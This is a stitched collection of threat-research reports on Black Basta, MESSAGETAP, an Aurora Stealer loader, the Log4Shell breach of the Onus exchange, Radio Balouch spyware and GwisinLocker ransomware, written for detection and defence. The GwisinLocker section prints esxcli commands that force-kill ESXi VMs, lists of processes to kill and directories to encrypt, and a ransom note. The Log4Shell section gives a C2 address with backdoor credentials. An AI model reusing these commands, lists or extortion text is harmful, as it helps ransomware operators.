The encryption scheme for this version uses ChaCha20 and multithreading to speed up the encryption process with the help of different processors in the system. Given that ESXi environments typically use multiple CPUs to execute a VM farm, the malware’s design, including the chosen encryption algorithm, allows the operator to have the environment encrypted as soon as possible. Prior to encrypting a file, Black Basta uses the chmod command to get access to it in the same context as the user level.
### Black Basta Targets
Analysis of the victims posted by the Black Basta group revealed that to date, the group has managed to attack more than forty different victims within a very short time it had available. The victim blog showed that various business sectors were affected including manufacturing, electronics, contractors, etc. Based on our telemetry, we could see other hits across Europe, Asia, and the United States.
## Conclusion
Ransomware remains a big problem for today’s society. As soon as some families come off the stage, others take their place. For this reason, it is important to stay on top of all developments in the ransomware ecosystem, so one can take appropriate measures to protect the infrastructure. A trend, which we also discussed in our previous blog post, is that ESXi systems are increasingly targeted. The aim is to cause as much damage as possible. Luna and Black Basta are no exceptions. We expect that new variants will support encryption of VMs by default as well.
For questions or more information about our crimeware reporting service, please contact [email protected]. |
# MESSAGETAP: Who’s Reading Your Text Messages?
**Threat Research**
Raymond Leong, Dan Perez, Tyler Dean
Oct 31, 2019
FireEye Mandiant recently discovered a new malware family used by APT41 (a Chinese APT group) that is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers, and keywords for subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in a telecommunications network provider in support of Chinese espionage efforts.
APT41’s operations have included state-sponsored cyber espionage missions as well as financially-motivated intrusions. These operations have spanned from as early as 2012 to the present day. MESSAGETAP was first reported to FireEye Threat Intelligence subscribers in August 2019 and initially discussed publicly in an APT41 presentation at FireEye Cyber Defense Summit 2019.
## MESSAGETAP Overview
APT41's newest espionage tool, MESSAGETAP, was discovered during a 2019 investigation at a telecommunications network provider within a cluster of Linux servers. Specifically, these Linux servers operated as Short Message Service Center (SMSC) servers. In mobile networks, SMSCs are responsible for routing Short Message Service (SMS) messages to an intended recipient or storing them until the recipient has come online.
MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: `keyword_parm.txt` and `parm.txt` and attempts to read the configuration files every 30 seconds. If either exists, the contents are read and XOR decoded with the string:
`http://www.etsi.org/deliver/etsi_ts/123000_123099/123040/04.02.00_60/ts_123040v040200p.pdf`
Interestingly, this XOR key leads to a URL owned by the European Telecommunications Standards Institute (ETSI). The document explains the Short Message Service (SMS) for GSM and UMTS Networks. It describes architecture as well as requirements and protocols for SMS.
These two files, `keyword_parm.txt` and `parm.txt`, contain instructions for MESSAGETAP to target and save contents of SMS messages.
The first file (`parm.txt`) is a file containing two lists:
- **imsiMap**: This list contains International Mobile Subscriber Identity (IMSI) numbers. IMSI numbers identify subscribers on a cellular network.
- **phoneMap**: The phoneMap list contains phone numbers.
The second file (`keyword_parm.txt`) is a list of keywords that is read into `keywordVec`. Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data:
1. SMS message contents
2. The IMSI number
3. The source and destination phone numbers
The malware searches the SMS message contents for keywords from the `keywordVec` list, compares the IMSI number with numbers from the `imsiMap` list, and checks the extracted phone numbers with the numbers in the `phoneMap` list.
## General Overview Diagram of MESSAGETAP
If the SMS message text contains one of the `keywordVec` values, the contents are XORed and saved to a path with the following format:
`/etc/<redacted>/kw_<year><month><day>.csv`
The malware compares the IMSI number and phone numbers with the values from the `imsiMap` and `phoneMap` lists. If found, the malware XORs the contents and stores the data in a path with the following format:
`/etc/<redacted>/<year><month><day>.csv`
If the malware fails to parse a message correctly, it dumps it to the following location:
`/etc/<redacted>/<year><month><day>_<count>.dump`
## Significance of Input Files
The configuration files provide context into the targets of this information gathering and monitoring campaign. The data in `keyword_parm.txt` contained terms of geopolitical interest to Chinese intelligence collection. The two lists `phoneMap` and `imsiMap` from `parm.txt` contained a high volume of phone numbers and IMSI numbers.
For a quick review, IMSI numbers are used in both GSM (Global System for Mobiles) and UMTS (Universal Mobile Telecommunications System) mobile phone networks and consist of three parts:
1. Mobile Country Code (MCC)
2. Mobile Network Code (MNC)
3. Mobile Station Identification Number (MSIN)
The Mobile Country Code corresponds to the subscriber’s country, the Mobile Network Code corresponds to the specific provider, and the Mobile Station Identification Number is uniquely tied to a specific subscriber.
The inclusion of both phone and IMSI numbers shows the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor. Similarly, the keyword list contained items of geopolitical interest for Chinese intelligence collection. Sanitized examples include the names of political leaders, military and intelligence organizations, and political movements at odds with the Chinese government. If any SMS messages contained these keywords, MESSAGETAP would save the SMS message to a CSV file for later theft by the threat actor.
In addition to MESSAGETAP SMS theft, FireEye Mandiant also identified the threat actor interacting with call detail record (CDR) databases to query, save, and steal records during this same intrusion. The CDR records corresponded to foreign high-ranking individuals of interest to the Chinese intelligence services. Targeting CDR information provides a high-level overview of phone calls between individuals, including time, duration, and phone numbers. In contrast, MESSAGETAP captures the contents of specific text messages.
## Looking Ahead
The use of MESSAGETAP and targeting of sensitive text messages and call detail records at scale is representative of the evolving nature of Chinese cyber espionage campaigns observed by FireEye. APT41 and multiple other threat groups attributed to Chinese state-sponsored actors have increased their targeting of upstream data entities since 2017. These organizations, located multiple layers above end-users, occupy critical information junctures in which data from multitudes of sources converge into single or concentrated nodes. Strategic access into these organizations, such as telecommunication providers, enables the Chinese intelligence services to obtain sensitive data at scale for a wide range of priority intelligence requirements.
In 2019, FireEye observed four telecommunication organizations targeted by APT41 actors. Further, four additional telecommunications entities were targeted in 2019 by separate threat groups with suspected Chinese state-sponsored associations. Beyond telecommunication organizations, other client verticals that possess sensitive records related to specific individuals of interest, such as major travel services and healthcare providers, were also targeted by APT41. This is reflective of an evolving Chinese targeting trend focused on both upstream data and targeted surveillance.
FireEye assesses this trend will continue in the future. Accordingly, both users and organizations must consider the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain. This is especially critical for highly targeted individuals such as dissidents, journalists, and officials that handle highly sensitive information. Appropriate safeguards such as utilizing a communication program that enforces end-to-end encryption can mitigate a degree of this risk. Additionally, user education must impart the risks of transmitting sensitive data over SMS. More broadly, the threat to organizations that operate at critical information junctures will only increase as the incentives for determined nation-state actors to obtain data that directly support key geopolitical interests remain.
## FireEye Detections
- FE_APT_Controller_SH_MESSAGETAP_1
- FE_APT_Trojan_Linux64_MESSAGETAP_1
- FE_APT_Trojan_Linux_MESSAGETAP_1
- FE_APT_Trojan_Linux_MESSAGETAP_2
- FE_APT_Trojan_Linux_MESSAGETAP_3
## Example File
- File name: mtlserver
- MD5 hash: 8D3B3D5B68A1D08485773D70C186D877
*This sample was identified by FireEye on VirusTotal and provides an example for readers to reference. The file is a less robust version than instances of MESSAGETAP identified in intrusions and may represent an earlier test of the malware. The file and any of its embedded data were not observed in any Mandiant Consulting engagement.*
## Acknowledgements
Thank you to Adrian Pisarczyk, Matias Bevilacqua, and Marcin Siedlarz for identification and analysis of MESSAGETAP at a FireEye Mandiant Consulting engagement. |
# in2al5dp3in4er Loader
**OALABS Research**
**April 23, 2023**
## Overview
This new loader was exposed by Morphisec. According to the post, the loader is compiled with Embarcadero RAD Studio and employs a graphics card check to ensure it is not running in a sandbox before deploying its embedded payload (the loader). The loader is simply used to download and execute a final payload (main functionality).
## References
### Samples
```
66383d931f13bcdd07ca6aa50030968e44d8607cf19bdaf70ed4f9ac704ac4d1 UnpacMe
```
## Analysis
```python
data = open('/tmp/blob.bin', 'rb').read()
out = []
for i in range(len(data)):
tmp = data[i]
tmp = (tmp - 52) & 0xff
tmp ^= 0x55
tmp = (tmp + i - 18) & 0xff
out.append(tmp)
out = bytes(out)
out[:100]
open('/tmp/out.bin','wb').write(out)
```
**3168770**
**Aurora Stealer**
The extracted 2nd stage is the golang stealer sold as "Aurora Stealer" malpedia.
```
21545028cac12fc9e8692a71247040718e6d640ee6117d1b19f4521f886586be UnpacMe
```
### Packer ID
We can make a simple yara rule based on the following:
```
1/5 riid for CreateDXGIFactory call
EC 66 71 7B C7 21 AE 44 B2 1A C9 AE 32 1A E3 69
```
**imports**
CreateDXGIFactory from DXGI.dll
**checks**
```
cmp eax, 887A0002h
3D 02 00 7A 88
```
**gfx whitelist ids**
```
{29 9? 01 00}
```
**Rule**
```yara
import "pe"
import "math"
rule riid_hunt {
strings:
$riid = { EC 66 71 7B C7 21 AE 44 B2 1A C9 AE 32 1A E3 69 }
$embarcadero = "This program must be run under Win32" ascii
$import = "CreateDXGIFactory" ascii wide
condition:
all of them and
for any i in (0..(pe.number_of_sections)-1) :
(
pe.sections[i].name == ".data" and
math.entropy(pe.sections[i].raw_data_offset,
pe.sections[i].raw_data_size) >= 7
)
}
```
## Unpacking
```
2/548 8D 05 9A 94 16 00 lea rax, blob
48 B9 EE EE DE DD CD CC BB 0A mov rcx, 0ABBCCCDDDDEEEEEh
48 BA 55 55 45 44 34 23 12 00 mov rdx, 12233444455555h
49 B8 CC CC B3 BB A2 1A 00 00 mov r8, 1AA2BBB3CCCCh
4C 63 4D E0 movsxd r9, [rbp+var_20]
48 8D 05 D1 93 16 00 lea rax, blob
48 B9 81 FD A9 98 F6 50 00 00 mov rcx, 50F698A9FD81h
48 BA 1B 06 AC 5D DE F8 ED 00 mov rdx, 0EDF8DE5DAC061Bh
49 B8 04 68 7C AA 99 9D 0B 00 mov r8, 0B9D99AA7C6804h
4C 63 4D E8 movsxd r9, [rbp+var_18]
```
```python
import re
import struct
import pefile
file_data = open('/tmp/pointer.bin', 'rb').read()
pe = pefile.PE(data=file_data)
crypto_egg = rb'\x48\x8D\x05(....)\x48\xB9(.).......\x48\xBA(.).......\x49\xB8(.).......\x4C'
match = re.search(crypto_egg, file_data, re.DOTALL)
assert match is not None
match_offset = match.start()
payload_offset = struct.unpack('<i', match.group(1))[0]
match_rva = pe.get_rva_from_offset(match_offset)
blob_rva = match_rva + 7 + payload_offset
blob_offset = pe.get_offset_from_rva(blob_rva)
add_inc_key = struct.unpack('B', match.group(2))[0]
xor_key = struct.unpack('B', match.group(3))[0]
add_key = struct.unpack('B', match.group(4))[0]
print(f"add_inc_key: {hex(add_inc_key)}")
print(f"xor_key: {hex(xor_key)}")
print(f"add_key: {hex(add_key)}")
print(f"blob_rva: {hex(blob_rva)}")
print(f"blob_offset: {hex(blob_offset)}")
```
**add_inc_key: 0xee**
**xor_key: 0x55**
**add_key: 0xcc**
**blob_rva: 0x172ef0**
**blob_offset: 0x171af0**
```python
tmp_data = file_data[blob_offset:]
blob_data = tmp_data.split(b'\x00\x00\x00\x00')[0]
blob_data[:100].hex()
```
```
'3e72298e788c7992939091868485858a0c8889dedfdcdde2a3e0e1d6d7d4d5dadbd8d9eeefecedf2f3f0f'
```
```python
def decrypt(data, key1, key2, key3):
out = []
for i in range(len(data)):
tmp = data[i]
tmp = (tmp + key1) & 0xff
tmp ^= key2
tmp = (tmp + i + key3) & 0xff
out.append(tmp)
out = bytes(out)
return out
out = decrypt(blob_data, add_key, xor_key, add_inc_key)
tmp_pe = pefile.PE(data=out)
pe_size = pe.sections[-1].PointerToRawData + pe.sections[-1].Misc_VirtualSize
final_pe = out[:pe_size]
open('/tmp/testpe.bin', 'wb').write(final_pe)
```
**3114235**
```python
def extract(file_path):
file_data = open(file_path, 'rb').read()
pe = pefile.PE(data=file_data)
crypto_egg = rb'\x48\x8D\x05(....)\x48\xB9(.).......\x48\xBA(.).......\x49\xB8(.).......\x4C'
match = re.search(crypto_egg, file_data, re.DOTALL)
assert match is not None
match_offset = match.start()
payload_offset = struct.unpack('<i', match.group(1))[0]
match_rva = pe.get_rva_from_offset(match_offset)
blob_rva = match_rva + 7 + payload_offset
blob_offset = pe.get_offset_from_rva(blob_rva)
add_inc_key = struct.unpack('B', match.group(2))[0]
xor_key = struct.unpack('B', match.group(3))[0]
add_key = struct.unpack('B', match.group(4))[0]
tmp_data = file_data[blob_offset:]
blob_data = tmp_data.split(b'\x00\x00\x00\x00')[0]
out = decrypt(blob_data, add_key, xor_key, add_inc_key)
assert out[:2] == b'MZ'
tmp_pe = pefile.PE(data=out)
pe_size = pe.sections[-1].PointerToRawData + pe.sections[-1].Misc_VirtualSize
final_pe = out[:pe_size]
open(file_path+'_extracted.bin', 'wb').write(final_pe)
```
```python
# import required module
import os
# assign directory
directory = '/tmp/samples'
# iterate over files in that directory
for filename in os.listdir(directory):
f = os.path.join(directory, filename)
# checking if it is a file
if os.path.isfile(f):
try:
print(f)
extract(f)
except:
continue
```
```
/tmp/samples/66383d931f13bcdd07ca6aa50030968e44d8607cf19bdaf70ed4f9ac704ac4d1
/tmp/samples/.DS_Store
/tmp/samples/a4cab01d61d8c18876d4b53d52de365fb9b512430371fd4217359159f3c507f6
/tmp/samples/66383d931f13bcdd07ca6aa50030968e44d8607cf19bdaf70ed4f9ac704ac4d1_extracted
/tmp/samples/5e4b6272dc2d955c5e52c755ea598f44e324b04466a4e3bacf6c9d845345322b
/tmp/samples/cdb09a5df36fece23bc3c9df101fe65724327b827ec43aa9ce0b3b76bdcc3101
/tmp/samples/2c540f5220b7ba3cd6efcd2fe8091fc24f8da11be4b1782c4e502261ef48da82
``` |
# Fallout from Log4Shell-related Vietnamese Cryptocurrency Exchange Attack: KYC Data for Sale on Dark Web
**January 20, 2022**
## Introduction
Since its discovery at the end of 2021, Log4Shell – a zero-day vulnerability affecting Apache’s Log4j logging library – has been actively exploited to infect vulnerable hosts with malware. We previously reported on a novel strain of ransomware, named Khonsari, that targeted Windows Servers vulnerable to Log4Shell. In this report, we’ll look at a published account of the compromise of a Vietnamese cryptocurrency exchange, named Onus, where the attackers exploited the Log4Shell vulnerability to steal customer data and advertise it for sale on a popular hacking forum.
Specifically, we discovered a user offering a 9 TB database of information, including extremely valuable Know Your Customer (KYC) images and video, along with names, phone numbers, and email addresses.
## Know Your Customer (KYC)
Know Your Customer (KYC) refers to a set of guidelines for financial institutions and decentralized finance (DeFi) services alike to combat money laundering and other fraudulent activities. Generally, KYC involves identifying a customer through a formal identification procedure. Copies of official state-issued identification, such as passports or driving licenses, are typically requested by the financial institution when a customer applies for a financial product. Examples of such products include personal loans and credit cards.
Naturally, this data is extremely valuable to hackers, as it allows them to impersonate another individual when making an application for a financial product. The funds raised from this could then be used to finance other criminal endeavors. Since this information is intended to reliably identify an individual, it could also be used in more targeted attacks. An attacker could suspect that an individual is likely to use Onus, find their KYC data in the leaked database, and leverage that to conduct spear-phishing and other social engineering attacks.
## Attack Overview
We first learned about the attack on Onus via a report published by CyStack – Onus’ security partner – in late December 2021. According to the report, Onus had deployed payment software developed by Cyclos, which contained a version of Log4j vulnerable to Log4Shell. Despite following advice to patch the vulnerability shortly after it had been disclosed, attackers still managed to exploit the Log4Shell vulnerability before a patch was issued. They then used shell commands to retrieve AWS credentials which, in turn, allowed them to compromise and subsequently delete the contents of S3 buckets containing customer data. This resulted in a leak of personal data from some 2 million Onus customers, including eKnow Your Customer information (eKYC) and password hashes.
Due to the nature of cryptocurrency exchanges, owners often have to collect highly-sensitive information from their customers in order to comply with regulatory requirements. This information typically includes passport scans and even photographs of the customers themselves, which, as we’ll demonstrate, is highly sought after in underground marketplaces.
## Analysis of Malicious Payload
As CyStack reported, a file named kworker (masquerading as a legitimate Linux process) was installed on the vulnerable host. This payload served as a backdoor to the host, allowing the attackers to establish Command and Control (C2) communication and exfiltrate the customer data. The file was uploaded to VirusTotal on December 26, 2021, by a user in Vietnam and, at the time of writing, has few detections.
We downloaded and analyzed this payload, and our findings are largely the same as CyStack’s. The capabilities of this malware are covered in their original report but to summarize:
- After execution, the malware creates an SSH connection to the host 45.147.230.219 over port 81. A username of “peter” and a password of “kim” is used for authentication.
- A SOCKS connection is also created as a backup in the event that SSH is unavailable. The same credentials are used.
- Stdout and stderr of the compromised machine is relayed back to the C2 server and commands are received by the compromised host.
## Stolen Data from AWS S3 Buckets for Sale
After hearing about the attack on Onus, researchers from Cado Security searched through popular hacking forums to see if evidence of data stolen in this attack could be found. On one such forum, we found a user named blackblock1234 advertising a 9 TB database of data stolen from a Vietnamese cryptocurrency exchange. The user mentions that the dataset includes names, phone numbers, and email addresses, along with eKYC documentation such as images and videos. The source code of the exchange itself is also said to be included.
Another user named vndcio started a similar thread in RAIDforum’s Leaks Market subforum. Unfortunately, a cached version of the original post could not be retrieved. However, we can see the content of the original post quoted in a subsequent reply.
As can be seen from the above, the vndcio user advertises similar data and provides a screenshot where the directory structure of the leaked files is shown. Subsequent posts demonstrate the interest that this leak generated, with several users requesting pricing information.
At the time of writing, the only threads posted by both the blackblock1234 and vndcio users were the ones advertising this data leak. Both users joined RAIDforums at the end of December 2021, just prior to the release of CyStack’s report. This suggests that the accounts were created solely to advertise the data stolen in this particular attack.
## Recommendations
Given that this attack relied on the presence of Log4Shell in the target environment, the primary recommendation would be to upgrade Log4j to version 2.3.1, which includes a security fix for this vulnerability. Admins should also review permissions for AWS resources in their organization. In this case, the attackers were able to easily pivot to S3 buckets after exploiting Log4Shell due to the AmazonS3FullAccess permission having been granted to a compromised access key. This permission should be used sparingly, and the principle of least privilege applied.
Monitoring of AWS infrastructure should also be established, with system logs from cloud resources forwarded to a SIEM with automated alerting in place. The SIEM should alert admins to any unexpected access to S3 buckets from web-facing infrastructure, providing an additional layer of security on top of access token permissions. Similarly, outbound connections from AWS resources should be monitored for connections to unknown IP addresses, with domain/IP whitelisting established as necessary.
Since this attack depended on the execution of malware served via exploitation of Log4Shell, a final recommendation would be to enable application whitelisting on cloud servers. This can be achieved using SELinux on Linux servers and is an effective mitigation against malware attacks, as the malware itself is prevented from executing.
## Indicators of Compromise
**Filename:** kworker
**SHA256:** d9e6eaeaacb3feb6e32482301f918f19727466e13bc0bef5323a1c86f42a8ca2
**IP Address:** 45.147.230.219
For tips and best practices for performing cloud incident response investigations, check out our playbooks.
**About Cado Security**
Cado Security provides the cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response effortlessly delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom. |
# First-of-its-kind spyware sneaks into Google Play
ESET analysis breaks down the first known spyware that is built on the AhMyth open-source espionage tool and has appeared on Google Play – twice.
ESET researchers have discovered the first known spyware that is built on the foundations of AhMyth open-source malware and has circumvented Google’s app-vetting process. The malicious app, called Radio Balouch aka RB Music, is actually a fully working streaming radio app for Balouchi music enthusiasts, except that it comes with a major sting in its tail – stealing personal data of its users. The app snuck into the official Android app store twice, but was swiftly removed by Google both times after we alerted the company to it.
AhMyth, the open-source Remote Access Tool from which the Radio Balouch app borrowed its malicious functionality, was made publicly available in late 2017. Since then, we have witnessed various malicious apps based on it; however, the Radio Balouch app is the very first of them to appear on the official Android app store.
ESET’s mobile security solution has been protecting users from AhMyth and its derivatives since January 2017 – even before AhMyth went public. As the malicious functionality in AhMyth is not hidden, protected or obfuscated, it is trivial to identify the Radio Balouch app – and other derivatives – as malicious, and classify them as belonging to the AhMyth family.
Besides Google Play, the malware, detected by ESET as Android/Spy.Agent.AOX, has been available on alternative app stores. Additionally, it has been promoted on a dedicated website, via Instagram, and YouTube. We have reported the malicious nature of the campaign to the respective service providers, but received no response.
Radio Balouch is a fully working streaming radio app for music specific to the Balouchi region. In the background, however, the app spies on its victims.
On Google Play, we discovered different versions of the malicious Radio Balouch app twice and in each case, the app had 100+ installs. We reported the first appearance of this app on the official Android store to the Google security team on July 2nd, 2019, and it was removed within 24 hours. The malicious Radio Balouch app reappeared on Google Play on July 13th, 2019. This one, too, was immediately reported by ESET and swiftly removed by Google.
After being removed from Google Play, the malicious radio app is only available on third-party app stores at the time of writing. It has also been distributed from a dedicated website, radiobalouch.com, via a link promoted via a related Instagram account. This server was also used for the spyware’s C&C communications. The domain was registered on March 30th, 2019, and shortly after our complaint, the website was down and still is at the time of writing.
The attackers’ Instagram account still serves a link to the app that has been removed from Google Play. They have also set up a YouTube channel with one video introducing the app; apparently, they don’t promote it as the video has a mere 21 views at the time of writing.
## Functionality
The malicious Radio Balouch app works on Android 4.2 and above. Its internet radio functionality is bundled with the functionality of AhMyth into one malicious app. After installation, the internet radio component is fully functional, playing a stream of Balouchi music. However, the added malicious functionality enables the app to steal contacts, harvest files stored on the device and send SMS messages from the affected device.
Functionality for stealing SMS messages stored on the device is also present. However, this functionality can’t be utilized since Google’s recent restrictions only allow the default SMS app to access those messages.
As AhMyth has more variants whose functionalities vary, the Radio Balouch app and any other malware based on this open-source espionage tool might get further functions in the future via an update.
After launch, users choose their preferred language (English or Farsi); in the next step, the app starts requesting permissions. First, it requests access to files on the device, which is a legitimate permission for a radio app to enable its functionality; if declined, the radio would not work. Then, the app requests the permission to access contacts. Here, to camouflage its request for this permission, it suggests this functionality is necessary should the user decide to share the app with friends in their contact list. If the user declines to grant the contact permissions, the app will work regardless.
After the setup, the app opens its home screen with music options and offers the option to register and login. However, any “registering” is meaningless as any input will bring the user into the “logged in” state. This step has been added to lure credentials from the victims and try to break into other services using the obtained passwords. The credentials are transmitted unencrypted, over an HTTP connection.
For C&C communication, Radio Balouch relies on its (now defunct) radiobalouch.com domain. This is where it would send information it has gathered about its victims – notably information about the compromised devices, and the victims’ contacts lists. As with the account credentials, the C&C traffic is transmitted unencrypted over an HTTP connection.
## Conclusion
The (repeated) appearance of the Radio Balouch malware on the Google Play store should serve as a wake-up call to both the Google security team and Android users. Unless Google improves its safeguarding capabilities, a new clone of Radio Balouch or any other derivative of AhMyth may appear on Google Play. While the key security imperative “Stick with official sources of apps” still holds, it alone can’t guarantee security. It is highly recommended that users scrutinize every app they intend to install on their devices and use a reputable mobile security solution.
## Indicators of Compromise (IoCs)
**Hash** | **ESET detection name**
F2000B5E26E878318E2A3E5DB2CE834B2F191D56 | Android/Spy.Agent.AOX
AA5C1B67625EABF4BD839563BF235206FAE453EF | Android/Spy.Agent.AOX |
# GwisinLocker Ransomware Targets South Korean Industrial and Pharma Firms
**Threat Research**
**August 9, 2022**
**Blog Author**: Joseph Edwards, Senior Malware Researcher at ReversingLabs.
Taking its name from “Gwisin,” a Korean term for “ghost” or “spirit,” GwisinLocker is a new ransomware family that targets South Korean industrial and pharmaceutical companies.
## Executive Summary
ReversingLabs researchers discovered a new ransomware family targeting Linux-based systems. The malware, dubbed GwisinLocker, was detected in successful campaigns targeting South Korean industrial and pharmaceutical firms. The malware is notable for being a new variant produced by a previously little-known threat actor, dubbed “Gwisin” (귀신), and targeting systems running the open-source Linux operating system. The ransomware is deployed following a substantial network compromise and data exfiltration.
## Analysis
### Background
On July 19th, during threat hunting, ReversingLabs researchers discovered an undetected Linux ransomware sample which bore the markers of a Gwisin campaign. We have chosen to name this malware GwisinLocker.Linux for clarity, as versions of the malware affecting Windows systems have also been identified.
Gwisin is a ransomware group targeting South Korean industrial and pharmaceutical companies. The name "Gwisin” (귀신) refers to the Korean term for a ghost or spirit. The Gwisin group was first referenced in a report on new ransomware actors in Q3 2021 but has maintained a relatively low profile. To date, there has not been a public technical analysis of the group’s ransomware. This blog post will attempt to describe the new threat based on samples obtained in the wild and analyzed by ReversingLabs, as well as published reports describing attacks associated with the malware.
### Configuration
The GwisinLocker.Linux samples can be run with the following options (descriptions were removed by the malware authors but inferred from analysis):
- **Usage**:
- `-h, --help` show this help message and exit
- **Options**:
- `-p, --vp=<str>` Comma-separated list of paths to encrypt
- `-m, --vm=<int>` Kills VM processes if 1; Stops services and processes if 2
- `-s, --vs=<int>` Seconds to sleep before execution
- `-z, --sf=<int>` Skip encrypting ESXi-related files (those excluded in the configuration)
- `-d, --sd=<int>` Self-delete after completion
- `-y, --pd=<str>` Writes the specified text to a file of the same name
- `-t, --tb=<int>` Enters loop if Unix time is < 4 hours since epoch
### Operation
First, the malware redirects the standard input, standard output, and standard error file descriptors to /dev/null to avoid outputting debug or error strings. Both the 32-bit and 64-bit samples used the file /tmp/.66486f04-bf24-4f5e-ae16-0af0fdb3d8fe as a mutex, writing a lock to the file. If GwisinLocker reads a lock set on this file, it exits immediately.
Next, the GwisinLocker.Linux ransomware decrypts its configuration data. GwisinLocker.Linux's configuration is embedded in the malware, encrypted with a hard-coded RC4 key. The JSON configuration was the same in both samples and includes a list of excluded and targeted files.
The following directories are excluded from encryption to prevent Linux operating system crashes:
"bin", "boot", "dev", "etc", "lib", "lib64", "proc", "run", "sbin", "srv", "sys", "tmp", "usr", "var", "bootbank", "mbr", "tardisks", "tardisks.noauto", "vmimages".
These services and related processes are killed before encryption (if the --vm=2 option is set) to ensure open file handles are closed:
"apache", "httpd", "nginx", "oracle", "mysql", "mariadb", "postgres", "mongod", "elasticsearch", "jenkins", "gitlab", "docker", "svnserve", "yona", "zabbix".
The following filenames are excluded from encryption (if the --sf option is set), as they are important for VMWare ESXI operations. Perhaps the threat actors intended to maintain access to ESXi virtual machines. The ransom notes are also excluded:
"imgdb.tgz", "onetime.tgz", "state.tgz", "useropts.gz", "jumpstrt.gz", "imgpayld.tgz", "features.gz", "!!!_HOW_TO_UNLOCK_MCRGNX_FILES_!!!.TXT".
These directories were specifically targeted by Gwisin to encrypt operational data:
"/Information/Database/", "/Information/korea_data/", "/Information/", "/Infra/", "/var/www/", "/var/opt/", "/var/lib/mysql/", "/var/lib/postgresql/", "/var/log/", "/user/", "/usr/local/".
Once the command-line arguments are parsed, GwisinLocker enumerates the number of processors and creates up to 100 threads. The directories to be encrypted are specified with the --vp option or by default include the list of directories in the configuration.
If the --vm=1 option is supplied, the ransomware executes the following commands to shut down VMWare ESXi machines before encryption:
`esxcli --formatter=csv --format-param=fields=="DisplayName,WorldID" vm process list`
`esxcli vm process kill --type=force --world-id="[ESXi] Shutting down - %s"`.
### Impact
Files encrypted in this GwisinLocker campaign carry the extension .mcrgnx, and the file's corresponding key is stored (encrypted) in a separate 256-byte file with the extension .mcrgnx0. GwisinLocker employs AES to encrypt victim files, hiding the key to prevent convenient decryption. In addition, compromised endpoints are renamed 'GWISIN Ghost,’ according to published reports.
### Encryption
GwisinLocker combines AES symmetric-key encryption with SHA256 hashing, generating a unique key for each file. The following steps occur when a file is encrypted:
1. Initialize RSA context from embedded public key.
2. Generate random AES key and IV:
- Initialize new SHA256 context.
- Read 32 bytes from /dev/urandom, hash with SHA256 context.
- Utilize SHA256 digest as a key to initialize AES context and generate AES key.
- Repeat steps 1-3 with 16 new bytes from /dev/urandom to generate an Initialization Vector.
3. Rename the target file to [targetfile].mcrgnx.
4. Encrypt and store the AES key in the file [targetfile].mcrgnx0:
- Initialize new SHA256 context.
- Read 32 bytes from /dev/urandom, hash with SHA256 context.
- Utilize SHA256 digest as a key to initialize AES context and generate AES key 2.
- Encrypt AES key from Part 1 with AES key 2.
- Encrypt the resulting buffer with RSA context.
- Write encrypted key to [targetfile].mcrgnx0.
5. Lastly, encrypt [targetfile].mcrgnx with the unencrypted AES key and IV generated in step 1.
### Targets
According to published reports in South Korean media, the Gwisin threat actors focus exclusively on South Korean firms. The group attacked large domestic pharmaceutical companies in 2022. In those incidents, it often launched attacks on public holidays and during the early morning hours (Korean time) - looking to take advantage of periods in which staffing and monitoring within target environments were relaxed.
In communications with its victims, the Gwisin group claims to have deep knowledge of their network and claims that they exfiltrated data with which to extort the company. Ransom notes associated with GwisinLocker.Linux contain detailed internal information from the compromised environment. Encrypted files use file extensions customized to use the name of the victim company.
### Ransom Note
According to published reports, GwisinLocker.Linux ransom notes are text format files written in English and created in the same target folder as encrypted files. The name of the ransom note is typically “!!!_HOW_TO_UNLOCK_******_FILES_!!!.TXT.” The note includes contact information, along with a list of data and intellectual property stolen from within the company.
Though the ransom notes are written in English, they contain references that make clear the intended targets are South Korean firms. That includes the use of Hangul (Korean language script) characters and explicit warnings to victims not to contact a range of South Korean law enforcement or government agencies including the Korean police, the National Intelligence Service, and KISA.
#### Sample Ransom Note
The following is a (redacted) copy of a GwisinLocker ransom note.
Hello [REDACTED],
You have been visited by GWISIN.
We have exfiltrated a lot of sensitive data from your networks, including, but not limited to:
I. Production applications, source (Git/SVN), files and DBs
[1] [REDACTED] (all regions) + [REDACTED] and other internal platforms
By combining lab [REDACTED] data and the primary big customer platform [REDACTED], it is easy to identify customer projects, credentials, and data.
Despite ISO27001 and ISMS-P with a good PIMS strategy, you have failed to protect customer data across all services.
Your privacy policy assures customers their data security and privacy is top priority; reality seems very different.
We wonder what your customers will have to say about that?
[2] [REDACTED] and general DTC related data
Once again failing to protect very sensitive data and communications of your customers.
[3] Infrastructure and sequencing pipeline data/scripts
Everything from documentation to project specs to produced VCFs and PDF reports post-analysis were collected.
More importantly, a full deep dive of your network infrastructure documentation and access.
The only way to kick us out is to buy all new hardware, including network equipment (UTM/switches) and sequencing/data storage systems.
Someone could have quietly modified your [REDACTED] pipeline instead of contacting you, causing you much bigger issues (legal, financial, and otherwise).
Can you really trust your results if you can't trust your input data and processing pipelines?
II. Internal Data & Communications
[1] ERP/CRM Systems (NEOE, Dynamics)
[2] Active Directory dump with credential history (NTDS + passive credential collection)
[3] DO GW with DB (your groupware contains a lot of data)
[4] Exchange email communications (PST) of targeted important employees in various roles
[5] Financial/Accounting/Research/IT/Customer/Etc. documents
- A lot of documents and other files were collected from SHARE/NEWSHARE machines among other servers
- Your DLP and monitoring was rendered effectively useless and could not stop us, neither could your security team and defensive products
We have also encrypted critical Windows and Linux servers.
We recommend that you do NOT restart servers or recovery may be slower.
The good news for you is that we can:
- Decrypt all files with extension ".mcrgnx" very quickly
- Delete all sensitive data we have exfiltrated, instead of selling it
- Help you improve your security
- Disappear and not be your problem anymore
All you have to do is follow the instructions:
